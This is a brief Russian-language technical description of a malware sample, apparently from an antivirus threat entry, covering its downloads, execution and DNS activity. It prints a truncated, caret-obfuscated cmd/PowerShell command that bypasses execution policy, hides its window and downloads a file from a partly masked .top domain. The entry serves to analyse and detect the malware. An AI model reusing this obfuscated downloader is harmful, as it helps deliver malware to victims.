Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fo###repu.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POW^er^Sh^Ell.E^Xe -ExECuti^O^n^p^o^Licy^ by^P^aS^s^ ^-n^OPROfiL^E^ -wind^O^W^s^tyl^E ^Hi^Dde^n (NE^w-Ob^JEct sy^stem.N^e^T^.^We^B^cLieN^t).D^OW^nLO^a^D^fILe^(^'http://fo###...
Сетевая активность
UDP
- DNS ASK fo###repu.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POW^er^Sh^Ell.E^Xe -ExECuti^O^n^p^o^Licy^ by^P^aS^s^ ^-n^OPROfiL^E^ -wind^O^W^s^tyl^E ^Hi^Dde^n (NE^w-Ob^JEct sy^stem.N^e^T^.^We^B^cLieN^t).D^OW^nLO^a^D^fILe^(^'http://fo###...' (со скрытым окном)
